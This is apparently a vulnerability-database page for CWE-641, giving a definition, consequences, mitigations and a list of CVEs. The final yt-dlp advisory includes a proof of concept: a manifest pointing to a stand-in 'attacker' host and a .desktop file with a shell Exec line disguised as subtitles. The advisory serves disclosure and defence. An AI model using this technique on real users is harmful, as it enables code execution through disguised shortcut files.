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CWE-641

Improper Restriction of Names for Files and Other Resources

BaseIncompleteSimple15 CVEs
The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.

Extended description

This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

Common consequences2

  • IntegrityConfidentialityAvailabilityExecute Unauthorized Code or Commands

    Execution of arbitrary code in the context of usage of the resources with dangerous names.

  • ConfidentialityAvailabilityRead Application DataDoS: Crash, Exit, or Restart

    Crash of the consumer code of these resources resulting in information leakage or denial of service.

Potential mitigations3

  1. Architecture and Design

    Do not allow users to control names of resources used on the server side.

  2. Architecture and Design

    Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

  3. Architecture and Design

    Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

Relationships1

CVEs referencing this CWE15

CVEDescriptionSeverityEPSSFlagsModified
CVE-2020-36326

PHPMailer 6.1.8 through 6.4.0 allows object injection through Phar Deserialization via addAttachment with a UNC pathname. NOTE: this is similar to CVE-2018-19296, but arose because 6.1.8 fixed a functionality problem in which UNC pathnames were always considered unreadable by PHPMailer, even in safe contexts. As an unintended side effect, this fix eliminated the code that blocked addAttachment exploitation.

CRITICAL9.8
3.10%p86
2024-11-21
CVE-2021-41146

qutebrowser is an open source keyboard-focused browser with a minimal GUI. Starting with qutebrowser v1.7.0, the Windows installer for qutebrowser registers a `qutebrowserurl:` URL handler. With certain applications, opening a specially crafted `qutebrowserurl:...` URL can lead to execution of qutebrowser commands, which in turn allows arbitrary code execution via commands such as `:spawn` or `:debug-pyeval`. Only Windows installs where qutebrowser is registered as URL handler are affected. The issue has been fixed in qutebrowser v2.4.0. The fix also adds additional hardening for potential similar issues on Linux (by adding the new --untrusted-args flag to the .desktop file), though no such vulnerabilities are known.

HIGH8.8
1.45%p70
2024-11-21
CVE-2026-25177

Improper restriction of names for files and other resources in Active Directory Domain Services allows an authorized attacker to elevate privileges over a network.

HIGH8.8
1.24%p65
PoC
2026-06-19
CVE-2024-30063

Windows Distributed File System (DFS) Remote Code Execution Vulnerability

MEDIUM6.7
1.02%p59
2025-12-17
CVE-2023-0046

Improper Restriction of Names for Files and Other Resources in GitHub repository lirantal/daloradius prior to master-branch.

HIGH7.2
1.02%p59
2025-04-09
CVE-2022-23536

Cortex provides multi-tenant, long term storage for Prometheus. A local file inclusion vulnerability exists in Cortex versions 1.13.0, 1.13.1 and 1.14.0, where a malicious actor could remotely read local files as a result of parsing maliciously crafted Alertmanager configurations when submitted to the Alertmanager Set Configuration API. Only users of the Alertmanager service where `-experimental.alertmanager.enable-api` or `enable_api: true` is configured are affected. Affected Cortex users are advised to upgrade to patched versions 1.13.2 or 1.14.1. However as a workaround, Cortex administrators may reject Alertmanager configurations containing the `api_key_file` setting in the `opsgenie_configs` section before sending to the Set Alertmanager Configuration API.

MEDIUM6.5
0.75%p50
2025-04-16
CVE-2025-21361

Microsoft Outlook Remote Code Execution Vulnerability

HIGH7.8
0.73%p49
2026-06-09
CVE-2025-21402

Microsoft Office OneNote Remote Code Execution Vulnerability

HIGH7.8
0.65%p46
2026-06-09
CVE-2025-47173

Improper input validation in Microsoft Office allows an unauthorized attacker to execute code locally.

HIGH7.8
0.54%p41
2026-02-26
CVE-2022-36302

File path manipulation vulnerability in BF-OS version 3.00 up to and including 3.83 allows an attacker to modify the file path to access different resources, which may contain sensitive information.

MEDIUM5.4
0.51%p39
2024-11-21
CVE-2025-47953

Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.

HIGH8.4
0.48%p38
2026-05-22
CVE-2024-45312

Overleaf is a web-based collaborative LaTeX editor. Overleaf Community Edition and Server Pro prior to version 5.0.7 (or 4.2.7 for the 4.x series) contain a vulnerability that allows an arbitrary language parameter in client spelling requests to be passed to the `aspell` executable running on the server. This causes `aspell` to attempt to load a dictionary file with an arbitrary filename. File access is limited to the scope of the overleaf server. The problem is patched in versions 5.0.7 and 4.2.7. Previous versions can be upgraded using the Overleaf toolkit `bin/upgrade` command. Users unable to upgrade may block POST requests to `/spelling/check` via a Web Application Firewall will prevent access to the vulnerable spell check feature. However, upgrading is advised.

MEDIUM5.3
0.48%p37
2024-09-25
CVE-2024-47260

51l3nc3, member of the AXIS OS Bug Bounty Program, has found that the VAPIX API mediaclip.cgi did not have a sufficient input validation allowing for uploading more audio clips then designed resulting in the Axis device running out of memory.  Axis has released patched AXIS OS versions for the highlighted flaw. Please refer to the Axis security advisory for more information and solution.

MEDIUM6.5
0.37%p28
2026-04-15
CVE-2019-25623

Luminance Studio 2.17 contains a denial of service vulnerability that allows local attackers to crash the application by providing malformed input through the keyboard interface. Attackers can create a text file with arbitrary character sequences and trigger the application to process the input, causing the application to become unresponsive or terminate abnormally.

MEDIUM5.5
0.19%p8
2026-03-24
CVE-2026-50023

### Summary A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user's filesystem, bypassing the remediation for `CVE-2024-38519`. ### Details The fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or `.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download. Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI="http://attacker/x.desktop"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option. Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments. While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution. ### Proof of Concept **1. Start a malicious server:** Host a malicious `master.m3u8` manifest that points to malicious subtitle payloads: ```m3u8 #EXTM3U #EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en" ``` And host the `payload.desktop` file with malicious content: ```ini [Desktop Entry] Type=Application Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)" Name=Subtitle ``` **2. Trigger the download:** In this case, the generic extractor triggers the exploit if the `--write-subs` option is used: ```bash yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8" ``` **Result:** yt-dlp writes `MyVideo.en.desktop` to disk, containing the attacker payload. ### Patches yt-dlp version 2026.06.09 fixes this issue by removing `.url`, `.desktop` and `.webloc` from the global file extension allowlist, and by only allowing those file types to be written from within the context of the `--write-link` options' functionality. ### Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible. Users who are not able to upgrade should do ALL of the following: - Only pass fully **trusted** input URLs to yt-dlp - Do not use the `--write-subs`, `--write-auto-subs`, `--embed-subs`, `--write-thumbnail`, `--write-all-thumbnails`, or `--embed-thumbnail` options - Use `--format -` to interactively select download formats and validate their file extensions

HIGH8.3no EPSS
2026-06-16